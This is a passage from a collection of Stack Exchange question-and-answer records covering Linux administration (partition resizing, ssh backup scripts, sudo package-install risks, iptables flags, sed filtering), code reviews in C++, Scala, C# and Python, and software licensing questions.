phases:1. Adjust superblock and write out new parts of the inode table2. Determine blocks which need to be relocated, and copy the contents of blocks from their old locations to the new ones.3. Scan the inode table, doing the following: a. If blocks have been moved, update the block pointers in the inodes and indirect blocks to point at the new block locations. b. If parts of the inode table need to be evacuated, copy inodes from their old locations to their new ones. c. If (b) needs to be done, note which blocks contain directory information, since we will need to update the directory information.4. Update the directory blocks with the new inode locations.5. Move the inode tables, if necessary.Filesystem resizing should be a safe operation, as per one of the authors, Ted Tso:resize2fs is designed not to corrupt data even if someone hits the Big Red switch while it is operating. That was an explicit design goal.but like all code, it isn't bug-free.Once fs resize is done, gparted shrinks the partition:shrink partition from 500.00 MiB to 400.00 MiB 00:00:00 ( SUCCESS )old start: 2048old end: 1026047old size: 1024000 (500.00 MiB)new start: 2048new end: 821247new size: 819200 (400.00 MiB)Bottom line: always backup your data before altering partitions/filesystems and run fsck after making the changes." } { "id": "_unix.223232" , "question": "I'm doing a bash script to backup my computer to a local server. I need to compress the archives but I can't find a way to make this if condition work with an ssh command inside:if [ ssh user@192.168.1.5 '$(ls -d /snapshots/$(date -v -7d +%Y%m%d)* 2> /dev/null | wc -l) != 0' ]then ssh user@192.168.1.5 tar -czf $ARCHIVES_DIR/$YESTERDAY.tar.gz $SNAPSHOT_DIR/$YESTERDAY* \\ && rm -rf $SNAPSHOT_DIR/$YESTERDAY*fiI've got a Too many arguments (inside the if) error.What am I doing wrong?" , "title": "If condition with ssh command inside" , "tags": "shell script;test" , "accepted_answer": "I'd suggest you simplify the construct and give the next person reading the code a chance to see what's going on. Your main issue is that you seem to be confusing your indirect execution $( ... ) with [ ... ] as a test operator. Apologies if I've misunderstood the flow, but I think this is what you intend:# Count files on the remote system and confirm that there is at least oneDATE7=$(date -v -7d '+%Y%m%d')NFILES=$(ssh user@192.168.1.5 ls -d '/snapshots/$DATE7'* 2> /dev/null | wc -l)# If the ssh worked and we have found files then archive themif [ $? -eq 0 && 0 -lt $NFILES ]then # Archive the files ssh user@192.168.1.5 tar -czf '$ARCHIVES_DIR/$YESTERDAY.tar.gz' '$SNAPSHOT_DIR/$YESTERDAY'* && rm -rf '$SNAPSHOT_DIR/$YESTERDAY' fiThis supposes that ARCHIVES_DIR, SNAPSHOT_DIR and YESTERDAY are defined locally elsewhere in your script.Remember that ... will interpolate variables' values immediately, whereas '...' will treat text such as $WIDGET as a literal seven character string starting with a dollar symbol. This is important to note given I have got sequences like '...' and ' ... ' in this code." } { "id": "_unix.206633" , "question": "Assume you can install something on a system because you have sudo rights to do so, but only have sudo rights for the installer. In that case it is fairly easy to create a package that installs a binary owned by root that has the setuid bit set during installation, and have that binary execute any command that you feed it, as root. This makes it insecure to allow limited sudo access for any given user to a package that can arbitrarily change change permissions. The other obvious (IMO) security hole is that a package can update the /etc/sudoers file and grant the user all kind of additional rights.As far as I know apt-get nor yum have an option that you can set, or check how they are invoked, that causes what is installed in the normal, default, locations, but in a limited way (e.g. not overwriting already available files, or not setting setuid bits). Did I miss something and does installation with such restrictions exists? Is it available in other installers? Or are there other known workarounds that would make such restrictions ineffective (and implementing them a waste of time)?" , "title": "Disallow `apt-get`, `yum` to install setuid binaries when itself run via sudo" , "tags": "software installation;sudo;account restrictions" , "accepted_answer": "This is probably doable with an SELinux policy (and probably not doable without SELinux or other a security module that can confine root), but it's pointless.As you note, a package could declare that it installs /etc/sudoers. Even if you make an ad hoc rule to somehow prevent that, the package could drop a file in /etc/sudoers.d. Or it could drop a file in /etc/profile.d, to be read the next time any user logs in. Or it could add a service that's started by root at boot time. The list goes on and on; it's unmanageable, and even if you caught the problematic cases, you'd have prevented so many packages from installing that you might as well not bother (for example, that facility wouldn't allow most security updates). Another thing the package could do is to install a program that you'd be tricked into using later (for example, if you forbid write access to /bin altogether, it could install /usr/local/bin/ls) and which injects a backdoor via your account the next time you invoke the program. To prevent a package installation from injecting a potential security hole, you need to either restrict the installation to trusted packages, or to make sure you never use the installed packages.Basically, if you don't trust a user, then you can't let them install arbitrary packages on your system. Let them install software in their home directory if they need something that isn't in the distribution.If you want to give an untrusted user the ability to install more packages (from a predefined list of sources that you approve as safe) or upgrade existing packages on the main system, that can be safe, but you need to take precautions, in particular to disable interaction during the installation. See Is it safe for my ssh user to be given passwordless sudo for `apt-get update` and `apt-get upgrade`? for some ideas about apt-get upgrade.Under recent Linux versions (kernel 3.8), any user can start a user namespace in which they have user ID 0. This basically allows a user to install their own distribution in their own directory." } { "id": "_codereview.146616" , "question": "This is my first time using classes objects and functions. What can I improve on?#include <iostream>#include <conio.h>using namespace std;class functions{public: void Body(){ cout << :: Welcome to Taylor's CALCULATOR! :: << endl; } int Addition(int x, int y){ int ans = x + y; return ans; } int Subtraction(int x, int y){ int ans = x - y; return ans; } int Multiplication(int x, int y){ int ans = x * y; return ans; } int Division(int x, int y){ int ans = x / y; return ans; }};int main(){int func;int x, y;functions key; //Objectkey.Body(); //Objectcout << What function do you want to use? << endl;cout << 1 - Addition << endl;cout << 2 - Subtraction << endl;cout << 3 - Multiplication << endl;cout << 4 - Division << endl;cout << Input: << endl;cin >> func;cout << endl;switch(func){ case 1: //Addition cout << **ADDITION** << endl; cout << Please enter first number: << endl; cin >> x; cout << Please enter second number: << endl; cin >> y; cout << x << + << y << = ; cout << key.Addition(x, y); break; case 2: //Subtraction cout << **SUBTRACTION** << endl; cout << Please enter first number: << endl; cin >> x; cout << Please enter second number: << endl; cin >> y; cout << x << - << y << = ; cout << key.Subtraction(x, y); break; case 3: //Multiplication cout << **MULTIPLICATION** << endl; cout << Please enter first number: << endl; cin >> x; cout << Please enter second number: << endl; cin >> y; cout << x << x << y << = ; cout << key.Multiplication(x, y); break; case 4: //Division cout << **DIVISION** << endl; cout << Please enter first number: << endl; cin >> x; cout << Please enter second number: << endl; cin >> y; cout << x << / << y << = ; cout << key.Division(x, y); break; default: cout << Invalid Input...; break;}}" , "title": "C++ calculator using classes" , "tags": "c++;beginner;object oriented;calculator" } { "id": "_reverseengineering.11741" , "question": "I have disassembled the exe in IDA 6.1 and I think I found a hand full of text files and was wondering how to go about dialing into the addresses and extracting the data. Here is what I foundI know how to code a bit in C and .net and thought maybe it would be possible with guidance. Thanks in advance" , "title": "Can I extract .txt files from .exe if I know their addresses?" , "tags": "ida;c#" } { "id": "_unix.203401" , "question": "I have recently installed CentOS (into a machine with only one hard drive) and I would like to know how to Partition the main hard drive into two.As it is a fresh install there is no data to lose and I am using linux rescue from a live CD 50GB[/dev/sda ] 25GB 25G[/dev/sda1][/dev/sda2]These are bogus numbers at the moment and I doubt the result will be what I expect but anything close or any ideas would be really great" , "title": "CentOS 6 Partitioning Root Drive" , "tags": "centos;partition;hard disk;split" } { "id": "_unix.349146" , "question": "Question 1: are the following rules equal?iptables -t raw -A PREROUTING -p tcp --tcp-flags FIN,SYN,RST,PSH,ACK,URG NONE -j DROPiptables -t raw -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROPQuestion 2: are the following rules equal?iptables -t raw -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROPiptables -t raw -A PREROUTING -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROPI'm new to iptables and I'm a bit confused because some tutorials suggest to use those four rules." , "title": "iptables --tcp-flags" , "tags": "iptables" } { "id": "_unix.388032" , "question": "Trying to dual-boot Linux with windows 10. I formatted my flash drive with Rufus, then copied the 18.2 64-bit Linux mint Cinnamon file to the root of the drive. When I try to boot from the drive, it opens FreeDOS, and won't boot to the GUI. " , "title": "Linux Mint Cinnamon won't boot to GUI, only FreeDOS" , "tags": "linux mint;linux kernel;gui;freedos" } { "id": "_codereview.78357" , "question": "I wrote the following that spawns n threads, uses them to process a queue of jobs, then returns a result.As well as any general suggestions, I'd like feedback on the following:How safe is SyncQueue? Previously, it went into a deadlock on inexpensive tasks, but I changed the notify to notifyAll, and I haven't had any problems since. I'd still like it looked at though.Is there a better way to delay execution of the jobs? I'm using an implicit to make the delay method available; but it would be nice to have it be completely implicit.Does the JVM prevent the stdout from interleaving? I remember back from c++ that outputting over different threads at once ending up creating a mess of interleaved text, but this doesn't. For the sole purpose of testing, is outputting text from several threads at once in any way harmful?SyncQueue.scala - A theoretically thread-safe, mutable FIFO queue:package threadPoolimport scala.collection.mutable.Queueclass SyncQueue[A] { private val q: Queue[A] = new Queue def nQueued: Int = synchronized { q.length } def available: Boolean = synchronized { nQueued > 0 } def pop: A = synchronized { if (!available) { wait; pop } else q.dequeue } def push(x: A) = synchronized { q enqueue x; notifyAll } def toList: List[A] = synchronized { q.toList } def clearQ = synchronized { q.clear }}JobQ.scala - A wrapper over 2 SyncQueues that helps with adding jobs/collecting results:package threadPoolimport scala.concurrent._class JobQ[Result] { type Job = () => Result type PossibleResult = Either[Throwable,Result] private val workQ = new SyncQueue[Job] private val resQ = new SyncQueue[PossibleResult] //So it knows when all jobs are finished private var runningJobs = 0 //Waits until all started jobs are finished def waitForJobsToFinish(checkDelayMS: Int) = while(!allJobsFinished) Thread sleep checkDelayMS def allJobsFinished: Boolean = synchronized { runningJobs == 0 } def jobsAvailable: Boolean = workQ.available def resultsAvailable: Boolean = resQ.available def giveJob(job: Job) = synchronized { workQ push job runningJobs += 1 } def giveJobs(jobs: Seq[Job]) = jobs map (giveJob(_)) def getJob: Job = workQ.pop def giveResult(result: PossibleResult) = { resQ push result runningJobs -= 1 } def getResults: List[PossibleResult] = { val xs = resQ.toList resQ.clearQ xs }}Worker.scala - The Runnable used by each thread. It forms an infinite loop of taking a job, processing it, and queuing the result:package threadPoolclass Worker[Result](jobQ: JobQ[Result]) extends Runnable { def run = while (true) { val job = jobQ.getJob //blocks until a job is made available val result: Either[Throwable,Result] = try { Right( job() ) //Long computation } catch { case e: Throwable => Left(e) } jobQ giveResult result }}Timer.scala - Used to assist the timing in the test:package threadPoolimport java.util.Datecase class Timer(startTime: Long = new Date().getTime) { private def curMs: Long = new Date().getTime def restart: Timer = Timer(curMs) def stop: Long = curMs - startTime def lap: (Long, Timer) = { val curTime = curMs (curTime - startTime,Timer(curTime)) }}object Timer { def timeBlock(body: => Unit): Long = { val t = Timer() body t.stop }}ThreadPool.scala - Spawns the threads, and manages the queues:package threadPoolimport java.lang.Runtime._import scala.util.Random._object Implicits { implicit class delayCall[A](body: => A) { def delay: (() => A) = () => body }}class ThreadPool[Result](nThreads: Int) { //By default, it spawns 1 thread per available processor def this() = this(Runtime.getRuntime.availableProcessors) type Job = () => Result type PossibleResult = Either[Throwable,Result] val jobQ: JobQ[Result] = new JobQ val threads = 1 to nThreads map { _=> new Thread( new Worker(jobQ) ) } def start = threads map (_.start) def giveJob(job: Job) = jobQ giveJob job def giveJobs(jobs: Seq[Job]) = jobs map (giveJob(_)) def getResultsIfDone: Option[List[PossibleResult]] = if(jobQ.jobsAvailable) None else Some(jobQ.getResults) def waitForResults: List[PossibleResult] = { jobQ waitForJobsToFinish 500 jobQ.getResults }}The Main - Just a sample case:object ThreadPoolTest extends App { import Implicits._ val nThreads = 4 val nJobs = 10 val pool = new ThreadPool[Long](nThreads) //Returns the time taken to execute, to be summed and compared later def expensiveLong(id: Int): Long = Timer.timeBlock { val s = scala.util.Random.nextInt(20000) println(sStarting expensive task $id: ${s / 60000.0} minutes) Thread.sleep(s) println(s\\tEnding $id: Started ${s / 60000.0} minutes ago) } val jobs: List[() => Long] = (1 to nJobs).toList map { id => expensiveLong(id).delay } pool.giveJobs(jobs) pool.start var rs: List[Either[Throwable,Long]] = Nil //timeBlock will time all the executions to compare against val realTime:Long = Timer.timeBlock { rs = pool.waitForResults } //Print results println(rs) //For this test, I'm having it crash on an error, because any exceptions would invalidate the results (sum of times taken) val checkedResults: List[Long] = rs map { case Left(e) => throw e case Right(r) => r } val sum = checkedResults. foldLeft(0L)(_+_) println(sDone:\\n\\tTotal Time Needed:\\t${sum / 60000.0} minutes\\n\\tTime Spent:\\t\\t\\t${realTime / 60000.0} minutes) println(((sum * 1.0) / realTime) + x faster) println((realTime / nThreads / 1000.0) + seconds per thread)}Since posting this, I've noticed a couple things:giveResult in JobQ isn't synchronized, which I believe is the cause of a deadlock problem I noticed when running inexpensive tasks (not actually a deadlock, but for the better part of today, that's what I was trying to diagnose).I saw a post that mentioned it's good practice not to lock on this, so in JobQ and SyncQueue, I switched to using a separate lock object (defined as class Lock)I haven't changed the above code though." , "title": "A Simple Thread Pool in Scala" , "tags": "multithreading;scala" } { "id": "_webapps.99245" , "question": "Back in the days I was using Endnote to document references, e.g. if wikipedia was consulted it was possible to add a link to Endnote and this program was able to sort the references. At the moment I have to update the references all the time once a new references is added.DiscussionThis Q&A was found although this does not solve the issue, an issue was reported by using the send feedback button as described in one of the answers." , "title": "Equivalent of EndNote in Google Docs in order to document references?" , "tags": "google documents" } { "id": "_softwareengineering.311813" , "question": "I am writing a small app that manages a couple of recipes. I have a MySQL database that is used by my data persistance layer. I need some kind of id in my business objects representing the recipes to use my persistence layer.Currently i am just calling SELECT LAST_INSERT_ID() on my database after i inserted a new recipe and then assign that id. In a project at my part time job we use a different approach. We generate the ids in our application before inserting and then use them from there.I think my current approach is better, because i only generate an int (the other application uses an id-generator that factors in time etc) which should be faster for lookups and i can scale the system for multiple applications (because i can put the insert and last_insert_id calls into the same transaction) and i can easily roll back, if something goes wrong while executing the transaction.Is my reasoning right? Or is there something im missing?" , "title": "Generate id in application or use database generated one?" , "tags": "design;mysql;dao" , "accepted_answer": "Currently I am just calling SELECT LAST_INSERT_ID() on my databaseThis may give unwanted effects when your application is used by several users at the same time. (Another user could have inserted a new record in the table between the intended insert and the request for the id.) Unless you perform this request within the same database transaction.Most persistance layers will return the generated ID to use in your application. You should look up how this works in your chosen environment.Generating an ID in your application can have a similar effect if the last ID given out is requested from the database, incremented in software and then used to insert a new database record. However, if the ID generated in the application is guaranteed to be unique (more or less) by some mechanism, this is an acceptable approach.Assuming both approaches are safe for multi-user environments, both approaches can be acceptable. The points you name as advantages of your approach can also be applied to the approach of generating an ID. Both approaches can scale and both approaches can be rolled back in the database. An advantage the latter approach might have over the first, is that it is less dependent on the specific database engine. Thus if a different database engine is chosen at a later point, it may be easier to migrate the software to it (for instance because of differing syntax to request the last inserted ID)." } { "id": "_softwareengineering.143181" , "question": "I've seen this in a lot of IDEs (even in the most popular and heavily used ones, like Visual Studio): if you want to watch a variable's value, you have to manually type its name in the Watches section of the debugger. Why can't there just be a list of all of them with checkboxes next to them ? The developer can then just check the box next to the one he wants to watch and that's it. Variables with identical names can probably be numbered in some way (for example a, b, x(1), x(2), c, etc.I've seen some exceptions to this (NetBeans or BlueJ), but there are exceptions to everything, right ?Maybe it's a stupid question, maybe not, but I've always wondered why this is so." , "title": "Why do you have to manually type variable names while debugging?" , "tags": "ide;debugging" , "accepted_answer": "I've actually never seen an IDE (haven't worked with Visual Studio though) where the debugger didn't have a view that shows you all the the variables of the current stack frame. A watch expression view is provided separately because it allows you to have complex expressions (that may include method calls as well as variables) computed automatically." } { "id": "_cogsci.14157" , "question": "When training fine motor skills, are identically setup practice sessions ideal or, like machine learning, does adding noise/variability to the practice session increase skill acquisition?" , "title": "Effect of variability due during motor skill training" , "tags": "cognitive psychology;learning;motor" , "accepted_answer": "According to Motor Skills Are Strengthened through Reconsolidation (available through SciHub) adding variability to practice sessions increases learning speed. In the paper, patients were directed to move a cursor on a screen to certain targets via pinch force. Patients who's pinch force mapping was modified during each trial ended up learning faster and performing better on the original pinch task." } { "id": "_unix.287512" , "question": "I am having an odd problem when i boot.It brings me to the recovery mode and tells me to press Ctrl-D or enter my root password.When I enter the root password, I mount my /dev/mapper/sdc1_crypt which is my /home drive. if I log out of the root shell it then launches lightdm and I can sign into my user account as if nothing happened.How can I fix it so i dont have to do this each time I boot?I'm using Debian." , "title": "Linux boots to recovery mode, mounting /home and loging out brings up lightdm" , "tags": "mount;login" } { "id": "_softwareengineering.287292" , "question": "I have some source code I want to release but I'm unsure of the best license to put on it. From my research such licenses as MIT and GNU are horrible as they offer little to no protection towards crediting the original authors nor controlling distribution. GPL seems to provide some protection, but users are still allowed to modify the code and redistribute it as their own and I don't want that.What I want is relatively simple from my stand point.User/Licensee can: - Use source code - Compile source code - Modify source code for personal useUser/Licensee MUST (If I [Author] Allow distribution upon request): - Credit original author - Credit original hosting site - Link original hosting site's page with the code - NEVER claim or alter any credits, licenses, copyrights, etc, etcUser/Licensee cannot: - Distribute source code/Distribute it without author's written consent - Modify source code and release it - Create derivative works with source code - Use source code in other software - Remove/Alter copyrights, credits, licenses, etc, etc. - Sell source code - Sue/hold liable the original author in ANY way shape or form for anything (standard legal disclaimer and disclosure agreement - similar to MIT and others)This may seem unreasonably restrictive, but it's mostly to protect credits as I've had numerous people use my code in the past and claim it as their own or alter credits/copyrights or post it on sites that I don't want my work on.I've looked up some licenses that seem correct to implement, but from what I can see there are problems.MS-RSL - Restricts a lot of the clauses I have, but the user can't use the source code or can they? As it says, it's just reference material, yet they can use it for debugging/etc only. Can this license (or any) be slightly tweaked in it's terms/clauses?No License - Just a copyright, but this seems like an oxymoron in some degrees, what notice or other conditions does it specify so the user/licensee knows what's allowed/not? Can I specify my own clauses? Is this legal? Wouldn't this be tantamount to writing my own license?I found a site called Binpress where you can create your own licenses (or it seems so), but are these enforceable? There are clauses about payments and such which seem to contradict conditions. Licensees are allowed to distribute the code even when one selects No distribution so the conditions seem to be negligible. Anyone use this before?Anyone know of a license that will satisfy above requirements or any advice?P.S.I did read other topics on the matter, but found most to be circumstantial or very vague on some matters. I read an article by Jeff Atwood, but the article Pick a License, Any License seemed to just regurgitate everything I already know or found out via other sites. It doesn't offer any deep in-detail information, explain each license in-depth, or explain anything related to altering/using licenses. He compared licenses to other licenses which is useless because if I don't know what license X is then comparing to license Y is about as useful as speaking Chinese to me.Any advice or if anybody can answer the above questions it would be deeply appreciated. If you need me to give more detail then please let me know, but I think I have explained things well enough. :)" , "title": "Licensing - Restrictive Open Source License OR Custom License" , "tags": "licensing;open source;legal;source code;reference" , "accepted_answer": "The basic idea behind open-source licensing is that anyone who has (legally) obtained a copy of the source code also has the right to make modifications and the right to distribute the modified or original work. The main difference between open-source licenses is in what rights you must give away when re-distributing the work.With one or two exceptions, all licenses require that at least the copyright and license statements must be kept intact. At most, you may add your own copyright statement if you made modifications1. The exceptions are when the work is placed in the public domain or an equivalent license (like CC0). Even a very permissive license like MIT requires that the license and copyright remain intact.If people don't respect the license terms, then it is possible to take legal action against them for violating your Intellectual Property rights. At the very least, you can request them to re-instate your copyright and/or license.1. Copyright statements could be removed it it can be proven that all contributions by that copyright holder have been removed from the code.If you don't like that basic principle behind open-source that everyone can share the code, then you should use a proprietary/closed-source license. These licenses are typically specific for a particular product or manufacturer and are not easy to re-use by someone else. Your best option is to have a lawyer write a license that exactly fits your desires." } { "id": "_codereview.167460" , "question": "I have written a simple code for Runge-Kutta fourth order integration to solve a system of ordinary differential equations and parallelized it using OpenMP. I don't know if it is the best we can do for maximum performance of the code with little effort.I need all values of to be returned, so I kept values in all steps.I also create threads in each time step and paralleled in position, i.e. pragma opm parallel is inside the loop over time.Here is my try: (link to gitlab repository)//RHS for a system of equationsvoid xprsys(const int n,const vector<double>& x, vector<double>& f){ /* * n : number of equations * x : value in each time step * f : RHS of equtions dx/dt = f */ double sum1=0; #pragma omp parallel for reduction(+:sum1) for (int i=0; i<n; i++){ sum1 = 0; for(int j=0; j<n; j++) sum1 += sin(x[j]-x[i]); f[i] = M_PI + 2.0 * sum1; }}void SolveRK4(const int n, double h,vector<double> x, vector<vector<double>>& x_vec, int nstep, vector<double>& times){ /* * times : vector contains the time 0 : t_final step dt * x_vec : [nstep by N] 2 Dimensional vector * dim1 : defined as typedef vector<double> dim1 */ times[0] = 0.0; dim1 y(n); dim1 f1(n),f2(n),f3(n),f4(n); double half_h = 0.5 * h; double h_sixth = h/6.0; // x_vec[nstepxN] for (int i=0; i<n; i++) x_vec[0][i] = x[i]; for (int k=1; k<nstep; k++){ times[k] = k*h; xprsys(n,x,f1); #pragma omp parallel for for(int i=0; i<n; i++) y[i] = x[i] + half_h * f1[i]; #pragma omp master xprsys(n,y,f2); #pragma omp barrier #pragma omp for for(int i=0; i<n; i++) y[i] = x[i] + half_h * f2[i]; #pragma omp master xprsys(n,y,f3); #pragma omp barrier #pragma omp for for(int i=0; i<n; i++) y[i] = x[i] + h * f3[i]; #pragma omp master xprsys(n,y,f4); #pragma omp barrier #pragma omp for for(int j=0; j<n; j++) { x[j] = x[j] + h_sixth * (f1[j] + f4[j] + 2.0 * (f2[j] + f3[j])); x_vec[k][j] = x[j]; } }}" , "title": "Runge-Kutta fourth order integration" , "tags": "c++;performance;numerical methods;openmp" } { "id": "_codereview.103786" , "question": "SummaryI am experimenting with a plugin pattern for a generic Python application (not necessarily web, desktop, or console) which would allow packages dropped into a plugin folder to be used according to the contract they would need to follow. In my case, this contract is simply to have a function called do_plugin_stuff(). I'd like the pattern to make sense for a system that sells plugins like the plugin store in Wordpress.Minimal Python plugin mechanism is a decent question (despite being 4 years old) with some very good discussion about Django (which I haven't used) and how it allows for a plugin to be installed anywhere via pip. I'd see that as a phase two, because it seems like a pip-based plugin pattern is (sweeping generalization probably not always true) most valuable for purely free (as in money) plugin store. If free (as in open source) plugins are sold for money in a store, if seems that pip would be a poor choice for installation because which people might pay for something they're about to get the source code for and use freely / redistribute, they might be unlikely to pay / donate for something they've already installed.Project StructureCodeIt's also on GitHub under my same username (PaluMacil) and I made a release tag of v1.0.0 to freeze the the repo at the code shown below.app/plugins/blog/__init__.pydef do_plugin_stuff(): print(I'm a blog!)app/plugins/toaster/__init__.pydef do_plugin_stuff(): print(I'm a toaster!)app/plugins/__init__.py(empty)app/__init__.pyfrom importlib import import_modulefrom os import path, listdirdef create_app(): app = Application() plugin_dir = path.join(path.dirname(__file__), 'plugins') import_string_list = [''.join(['.plugins.', d]) for d in listdir(plugin_dir) if path.isdir(path.join(plugin_dir, d)) and not d.startswith('__')] print(str(len(import_string_list)) + imports to do...) for import_string in import_string_list: module = import_module(import_string, __package__) app.plugins.update({module.__name__.split('.')[2]: module}) print(str(len(app.plugins)) + plugins in the app) return appclass Application: def __init__(self): self.plugins = {}The line not d.startswith('__') eliminated my pychache dir from Pycharm.run.pyfrom app import create_appfrom pprint import PrettyPrinterapp = create_app()app.plugins['toaster'].do_plugin_stuff()printer = PrettyPrinter(indent=4)printer.pprint(app.plugins.__repr__())Points for ReviewI'm new enough to Python (very new but coming from a decent C# background, and I read PEP8 before attempting this) that I've never written a Python 2 application. I think my method of importing requires Python 3.3 or 3.4, though I'm not certain. Commentary on this might be nice. Ways of making this code accessible to earlier versions of Python seem to be messy; they involve conditional imports and such, which are verbose and ugly. If there is a trick or two that would make my code better for different versions of Python with minimal cruft, that would be great to see.Am I missing anything that makes my code much more verbose than it should be? For instance, I'm iterating twice through the directories--once to make a list of packages, and again to make my dictionary. Would it be cleaner to make both parts one loop? The one-loop alternative seems verbose, but there could be further improvements, perhaps:# Alternative to current code which uses a single loop:for d in listdir(plugin_dir): if path.isdir(path.join(plugin_dir, d)) and not d.startswith('__'): module = import_module(''.join(['.plugins.', d]), __package__) app.plugins.update({module.__name__.split('.')[2]: module})Is module.__name__.split('.')[2] a fragile way to get the value for my plugin dictionary? Would [-1] be a better index to use on the result of the split?I'm having trouble understanding why I might chose to use pkgutil.iter_modules instead of my approach, but I'm wondering if there might be some benefit. It seems to be based on importlib since Python 3.3 (PEP 302). Would the only difference be that I wouldn't pull in a folder that doesn't have an __init__.py inside it to make it a package?" , "title": "Plugin Pattern for Generic Python Application" , "tags": "python;plugin" , "accepted_answer": "You shouldn't call str on the int returned from len, instead use str.format. {} plugins in the app.format(len(app.plugins))Format will coerce the int to a string implicitly and is neater to read.Also you're calling repr backwards. The whole point of an object having a __repr__ function is that it allows an object to be passed to repr(). So you could change app.plugins.__repr__() to repr(app.plugins)." } { "id": "_codereview.55983" , "question": "I've written an asynchronous retry method as an answer for this question. I'd like to get your opinion of the implementation and whether there are better ways to implement this. You could also implement this with async-await but I thought this would be a more efficient implementation.public static Task RetryAsync(Func<bool> retryFunc, CancellationToken cancellationToken, int retryInterval){ var tcs = new TaskCompletionSource<object>(); var timer = new Timer((state) => { var taskCompletionSource = (TaskCompletionSource<object>)state; if (!taskCompletionSource.Task.IsCompleted) { try { if (cancellationToken.IsCancellationRequested) { taskCompletionSource.SetException(new TaskCanceledException(RetryAsync cancelled)); } else if (retryFunc()) { taskCompletionSource.SetResult(null); } } catch (Exception ex) { taskCompletionSource.SetException(ex); } } }, tcs, 0, retryInterval); //// Once the task is complete, dispose of the timer so it doesn't keep firing. tcs.Task.ContinueWith(t => timer.Dispose(), CancellationToken.None, TaskContinuationOptions.ExecuteSynchronously, TaskScheduler.Default); return tcs.Task;}" , "title": "Asynchronous retry method" , "tags": "c#;task parallel library;async await;rags to riches" , "accepted_answer": "You could also implement this with async-await but I thought this would be a more efficient implementation.When performance matters, don't guess, measure. When it doesn't matter (which is 97 % of the time according to some), write code that is readable and maintainable.Why do you think small increase in efficiency (most likely less than 1 ms) would matter here, when the retry interval is probably going to be hundreds of milliseconds or more (and can't effectively be less than 15 ms)?Func<bool> retryFuncConsider adding another overload that allows you to retry async functions (i.e. Func<Task<bool>> retryFunc).CancellationToken cancellationTokenIt might make sense to make this an optional parameter, some users might not need cancellation.int retryIntervalI think it would be better to use TimeSpan here, that way both your code and the code of your users becomes more clear. If you want to keep using int, document very clearly the unit used, possibly by even renaming the parameter to something like retryIntervalMs.You don't want to be the next Mars Climate Orbiter.When the CancellationToken is canceled, why do you wait for the timer tick to cancel the returned Task? You could use Register() to make sure the Task is canceled as soon as the CancellationToken is.if (!taskCompletionSource.Task.IsCompleted)What's the purpose of this check? If it's because you're worried that retryFunc might run longer than retryInterval, then I think your logic is flawed. When I have an operation that takes 1 minute to run and I ask for retry after 5 seconds, I probably don't want to have 12 instances of the operation running at the same time.You could achieve this by using Change().And even when you want this behavior, you should probably also switch to using TrySet versions of the TaskCompletionSource methods, to avoid unnecessary exceptions.if (cancellationToken.IsCancellationRequested){ taskCompletionSource.SetException(new TaskCanceledException(RetryAsync cancelled));}This way, the Task will be in the Faulted state. To get it to the correct Canceled state, use SetCanceled().//// Once the task is complete, dispose of the timer so it doesn't keep firing.tcs.Task.ContinueWith(t => timer.Dispose(), CancellationToken.None, TaskContinuationOptions.ExecuteSynchronously, TaskScheduler.Default);This closure is important also because it keeps the Timer rooted, so it prevents it from being GCed prematurely. I would expand the comment to explain that.(Also, why are you using four slashes for a comment? Two are enough.)" } { "id": "_hardwarecs.456" , "question": "I'm looking for a HDTV capable of playing HEVC h.265 encoded videos from USB/PEN drive. Most of the HDTVs support h.264 standard but I could find any playing h.265 standard. More over it would be better if it has the below features (not necessarily but better if they are present)Multiple USB portsMultiple HDMI portsLED displayEthernet / Wifi support4K resolution class32 inches or higher3DMy price range is at most $1800 and it should not be an Android TV." , "title": "HDTV with HEVC (h.265 / x.265) support?" , "tags": "television;hdtv" } { "id": "_unix.28967" , "question": "What libraries can be used for 3D graphics on Linux? Are there big differences for 3D graphics programming between Linux and Windows?I found about DirectX and OpenGl by searching, but I'm not sure that these are graphic libraries." , "title": "Linux 3D graphic libraries" , "tags": "linux;graphics;opengl" } { "id": "_unix.298663" , "question": "I have a file that looks like the following:TITLE Protein in water t= 0.00000REMARK THIS IS A SIMULATION BOXATOM 1 N SER A 107 20.799 63.728 25.985 1.00 0.00 NATOM 2 H1 SER A 107 21.658 64.259 25.980 1.00 0.00 HThis is a very large file: 1.6G and a little over 20 million lines. I would like to get the lines that do not start with ATOM and end with H and save them into another file. What would be the most efficient way to do this?" , "title": "Extract lines from a large file that do not end with H into another file" , "tags": "text processing" , "accepted_answer": "Based on the clarification from the comments,sed -n '/^ATOM.*H$/!p' input > outputwill remove (not print) lines that start with ATOM and end with H from the file named input and print the rest of the lines into the file named output. The sed syntax goes, from left to right:-n -- don't print lines by default/^ATOM.*H$/ -- look for lines that start with ATOM, followed by any number of characters, ending ($) with H!p -- print lines that don't match the above patternA sample input file of:TITLE Protein in water t= 0.00000REMARK THIS IS A SIMULATION BOXATOM 1 N SER A 107 20.799 63.728 25.985 1.00 0.00 NATOM 2 H1 SER A 107 21.658 64.259 25.980 1.00 0.00 HTITLE Protein in water t= 0.00000HREMARK THIS IS A SIMULATION BOXHATOM 1 N SER A 107 20.799 63.728 25.985 1.00 0.00 NATOM 2 H1 SER A 107 21.658 64.259 25.980 1.00 0.00 Hresults in:TITLE Protein in water t= 0.00000REMARK THIS IS A SIMULATION BOXATOM 1 N SER A 107 20.799 63.728 25.985 1.00 0.00 NTITLE Protein in water t= 0.00000HREMARK THIS IS A SIMULATION BOXHATOM 1 N SER A 107 20.799 63.728 25.985 1.00 0.00 NA more direct sed syntax would be:sed '/^ATOM.*H$/d' input > outputwhich says:(print lines by default)search for lines that start with ATOM and end with Hdelete (don't print) those lines" } { "id": "_webapps.101161" , "question": "Having trouble with the Date function. I'm using the form to confirm a date range and specific dates within that range. I see that Date Range is an option but not sure how to assign Date Values and Min/Max Values.I also want a date field that will allow users to input multiple specific dates using the calendar icon to the right of the date field.Are these things doable?" , "title": "Cognito Forms: Date Range and Specific Dates" , "tags": "cognito forms" } { "id": "_codereview.162934" , "question": "I had a technical test with a simple CRUD application where I used n layered architecture as explained on the Patterns In Action book that I bought.However after delivering one of their feedbacks was the following.DbContext lifetime is completely wrong. (literally)I will copy the relevant files on this question, because I want to learn what I did wrong and if that product I bought has just problems conceptually.So, in my DataAccess class library I have this:namespace DataObjects{ // abstract factory interface. Creates data access objects. // ** GoF Design Pattern: Factory. public interface IDaoFactory { //Product Dao interface that must be implemented by each provider IProductDao ProductDao { get; } //Color Dao interface that must be implemented by each provider IColorDao 